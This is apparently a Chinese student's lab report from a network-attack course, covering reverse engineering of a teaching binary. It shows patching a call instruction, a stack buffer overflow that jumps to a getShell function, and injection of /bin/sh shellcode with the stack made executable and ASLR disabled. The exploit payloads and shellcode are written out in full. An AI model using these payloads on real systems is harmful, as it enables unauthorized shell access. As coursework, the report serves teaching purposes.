2018-2019-2 网络对抗技术 20165202 Exp1 PC平台逆向破解
一、基础知识
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
- NOP指令为空指令,当运行该指令时CPU不做任何事情,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。(机器码:90)
- JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。(机器码:75)
- JE xxx:如果相等时跳转。(机器码:74)
- JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
- CMP:为比较指令,功能相当于减法指令,只是不保存结果。(机器码:38、39、3A、3B、3C、3D)
掌握反汇编与十六进制编程器
- 反汇编:就是将目标代码转为汇编代码的过程,同样可以理解为把机器语言转换为汇编语言代码、低级转高级。
实验中用到的反汇编命令
objdump -d 5202pwn | more
objdump -d
命令是将代码段反汇编,|
管道符号, 它的功能是把管道|前的命令执行的结果作为管道后面指令的输入传给下一个指令。objdump -d name | more
:该命令把name代码段反汇编,并把输出送给more命令作为输入,more命令分
二、实验内容
目标一 直接修改程序机器指令,改变程序执行流程
- 首先对老师给出的源文件copy一下防止资源丢失。重命名为我的学号5202
cp pwn 5202pwn1
通过objdump命令查看汇编代码
objdump -d 5202pwn1
,找到main函数中汇编代码的call 8048491 <foo>
部分,可以看到main
函数调用了foo
函数
想要使
main
函数调用getshell
函数,可以通过call
指令后面的汇编代码部分来实现。通过把8048491
这个foo函数首地址修改成getshell函数的首地址就804847d
可以实现。
- 观察一下
call 8048491
的机器码是e8 d7 ff ff ff
,由于call
的机器码是e8
,而且数据在机器中是小端法存储,所以d7
应该是91
部分,把91
修改成7d
,对应的也要修改成c3
部分,把机器码变成e8 c3 ff ff ff
使用命令
vi pwn1
修改文件。可以看到显示内容为乱码,使用
:%!xxd
转换为16进制显示。
使用
/d7
命令寻找e8d7ffffff
机器指令所在地。找到以后按
i
进入插入模式,修改d7为c3。然后使用
:%!xxd-r
换回乱码的样子(这很关键!!未更换会导致问题,后面总结我有提到),再用:wq保存即可。- 再次
objdump -d 5202pwn1
查看修改情况 运行
./5202pwn1
成功获取shell,目标一达成
目标二 通过构造输入参数,造成BOF攻击,改变程序执行流
objdump -d 5202pwn2 | more
进行反汇编,确定buf的最大长度(主要看的是foo函数)
- 参考反汇编结果可知buf分配的栈空间一共有1c(即为28)个字节。由于EBP占4字节,返回地址之前一共有32个字节,故构造的字符串应该是32字节的任意数据加
getShell
的地址。 - 构造1234567812345678123456786666666111进行尝试
输入
gdb ./5202pwn2
,调试文件,输入构造的字符串,结果如下:
eip寄存器的值为0x313131,对应数值111。由此证明foo()所占字节为32
getShell
的首地址0804847d
,逆序输入应为\x7d\x84\x04\x08
由为无法通过键盘输入
\x7d\x84\x04\x08
这样的16进制值,使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input
将input的输出作为
5202pwn2
的输入,执行5202pwn2(cat input;cat) | ./5202pwn2
目标三 注入Shellcode并执行
- 准备工作
下载execstack程序:
apt-get install execstack
- 设置堆栈可执行:
execstack -s pwn1_3
查询文件的堆栈是否可执行:
execstack -s pwn1_3
- 查看地址随机化的状态:
more /proc/sys/kernel/randomize_va_space
关闭地址随机化:
echo "0" > /proc/sys/kernel/randomize_va_space
- 构造shellcode(此处利用了学长提供的内容):
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
注入:(cat input-shellcode;cat) | ./5202pwn3
此时需要另一个终端,查看执行文件进程号:
ps -ef | grep 5202pwn3
启动gdb调试进程
gdb ./5202pwn3
连接进程号attach 35907
反汇编:disassemble foo
设置断点查看注入buf的内存地址:
查看foo函数的地址,已确定设立断点的位置,设在ret命令的位置
断点设置完成后,在原终端按下回车键。再在此终端继续执行。查看esp值。
计算返回地址为0xffffd30c + 0x00000004 = 0xffffd310
修改shellcode中:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
运行:
(cat input-shellcode;cat) | ./5202pwn3
三、遇到的问题
- 目标一中修改文件时,将乱码转为16进制显示,完成修改后没有执行
:%!xxd -r
还原转换,导致后面反汇编根本做不了
当时在群里也发现很多同学都遇到了这个问题,参考其他同学的博客发现自己少了一步还原...而且一旦保存后即使再做还原也无效了,只能重新copy一份源文件重做(侧面证明拷贝的必要性!!)
2018-2019-2 网络对抗技术 20165202 Exp1 PC平台逆向破解的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
随机推荐
- BZOJ5170: Fable 树状数组
Description 有这么一则传闻,O(nlogn)的排序发明之前,滋滋国的排序都是采用的冒泡排序.即使是冒泡排序,对当时的国民 来说也太复杂太难以理解,于是滋滋国出现了这样一个职业——排序使,收 ...
- input标签type=button时,如何禁用和开启按钮
本文为博主原创,未经允许不得转载: <input id="exportCameraButton" type="button" class="bt ...
- linux 系统管理的10个小技巧
1.恢复屏幕 尝试输入:#cat /bin/cat 输入的屏幕内容非常凌乱,那么该怎么做? 输入:#reset 那么屏幕恢复正常了,比关闭再次登录好多了,特别是经过至少5台机器和SSH2才能到达 2. ...
- python删除所有自定义变量方法--转载
http://blog.sina.com.cn/s/blog_b2f983a50102yexs.html 当我们在pythonwin中创建多个变量后,通过dir()函数,可以看到所有已创建变量,这 ...
- 更改Windows Update设置时,为何会提示“某些设置由你的系统管理员管理”?
亲测有效 及时进行更新是保证系统正常运行的一个有效措施.可为什么当我们进入“控制面板->Windows Update”手动修改 Windows Update 的设置时,系统却弹出提示“某些设置由 ...
- 基因家族收缩和扩张分析 & Selective loss pathway & 泛基因组
套路 这通常就是基因组组装后的必做分析,通过比较基因组学的手段进行分析,可以知道所研究物种在进化过程中哪些核心基因家族发生了变化,从而导致了其特殊的适应性机制的形成. 参考: Extremotoler ...
- 『Python』图像金字塔、滑动窗口和非极大值抑制实现
图像金字塔 1.在从cv2.resize中,传入参数时先列后行的 2.使用了python中的生成器,调用时使用for i in pyramid即可 3.scaleFactor是缩放因子,需要保证缩放后 ...
- AIOps探索:基于VAE模型的周期性KPI异常检测方法——VAE异常检测
AIOps探索:基于VAE模型的周期性KPI异常检测方法 from:jinjinlin.com 作者:林锦进 前言 在智能运维领域中,由于缺少异常样本,有监督方法的使用场景受限.因此,如何利用无监 ...
- 基于PU-Learning的恶意URL检测——半监督学习的思路来进行正例和无标记样本学习
PU learning问题描述 给定一个正例文档集合P和一个无标注文档集U(混合文档集),在无标注文档集中同时含有正例文档和反例文档.通过使用P和U建立一个分类器能够辨别U或测试集中的正例文档 [即想 ...
- 在python中是没有NULL的,取而代之的是None,它的含义是为空
在python中是没有NULL的,取而代之的是None,它的含义是为空